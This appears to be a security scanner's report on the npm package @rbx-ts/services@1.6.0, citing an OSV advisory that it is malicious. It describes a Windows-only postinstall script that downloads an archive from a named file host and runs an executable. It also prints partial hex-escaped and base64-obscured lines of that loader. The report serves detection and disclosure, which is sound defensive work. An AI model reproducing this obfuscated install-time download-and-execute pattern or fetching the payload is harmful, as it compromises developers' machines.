@rbx-ts/services@1.6.0: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 8d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13630 confirms this npm version as malicious. scripts/postinstall.js is obfuscated with hex-escaped identifiers and base64-encoded strings that hide standard API names ('https', 'fs', 'child_process', 'powershell', '.exe') and a download URL. On npm install, if process.platform === 'win32', the script decodes the base64 URL to https://files.catbox.moe/9bppy2.zip, downloads the archive to the system TEMP directory, expands it via PowerShell Expand-Archive,...

Advisory

MAL-2026-13630

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @rbx-ts/services (npm)

Details

scripts/postinstall.js is obfuscated with hex-escaped identifiers and base64-encoded strings that hide standard API names ('https', 'fs', 'child_process', 'powershell', '.exe') and a download URL. On npm install, if process.platform === 'win32', the script decodes the base64 URL to https://files.catbox.moe/9bppy2.zip, downloads the archive to the system TEMP directory, expands it via PowerShell Expand-Archive, recursively walks the extracted tree for the first.exe, and spawns that binary detached before deleting the archive. The package is advertised as Roblox TypeScript type definitions and has no legitimate need for a Windows executable payload. files.catbox.moe is an anonymous throwaway file host permitting attacker-mutable content with no version pinning, hash verification, or publisher-matching.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.13 KB of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.jsView file

7if(process['\x70\x6c\x61\x74\x66\x6f\x72\x6d']!=='\x77\x69\x6e\x33\x32')process.exit(0); L8: const _0=()=>Math.random().toString(36).slice(2,8);const _t=process.env.TEMP||process.env.TMP||'\x43\x3a\x5c\x54\x65\x6d\x70'; L9: const _u=Buffer.from('\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6d\x61\x57\x78\x6c\x63\x79\x35\x6a\x59\x58\x52\x69\x62\x33\x67\x75\x62\x57\x39\x6c\x4c\x7a\x6c\x69\x63\x48\x42\x... L10: const _i=_0(),_z=_p.join(_t,'\x72\x62\x78\x5f'+_i+'\x2e\x7a'),_e=_p.join(_t,'\x72\x62\x78\x5f\x73\x5f'+_i);

High

Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

scripts/postinstall.jsView on unpkg · L7

scripts/postinstall.js#virtual:normalized:round1View file

8const _0=()=>Math.random().toString(36).slice(2,8);const _t=process.env.TEMP||process.env.TMP||"C:\\Temp"; L9: const _u=Buffer.from("[redacted]=","base64").toString(); L10: const _i=_0(),_z=_p.join(_t,"rbx_"+_i+".z"),_e=_p.join(_t,"rbx_s_"+_i);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

scripts/postinstall.js#virtual:normalized:round1View on unpkg · L8

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/postinstall.jsView file

7if(process['\x70\x6c\x61\x74\x66\x6f\x72\x6d']!=='\x77\x69\x6e\x33\x32')process.exit(0); L8: const _0=()=>Math.random().toString(36).slice(2,8);const _t=process.env.TEMP||process.env.TMP||'\x43\x3a\x5c\x54\x65\x6d\x70'; L9: const _u=Buffer.from('\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6d\x61\x57\x78\x6c\x63\x79\x35\x6a\x59\x58\x52\x69\x62\x33\x67\x75\x62\x57\x39\x6c\x4c\x7a\x6c\x69\x63\x48\x42\x... L10: const _i=_0(),_z=_p.join(_t,'\x72\x62\x78\x5f'+_i+'\x2e\x7a'),_e=_p.join(_t,'\x72\x62\x78\x5f\x73\x5f'+_i);

Findings

3 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighInstall Named Payload Filescripts/postinstall.js

HighBase64 Obscured Urlscripts/postinstall.js#virtual:normalized:round1

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem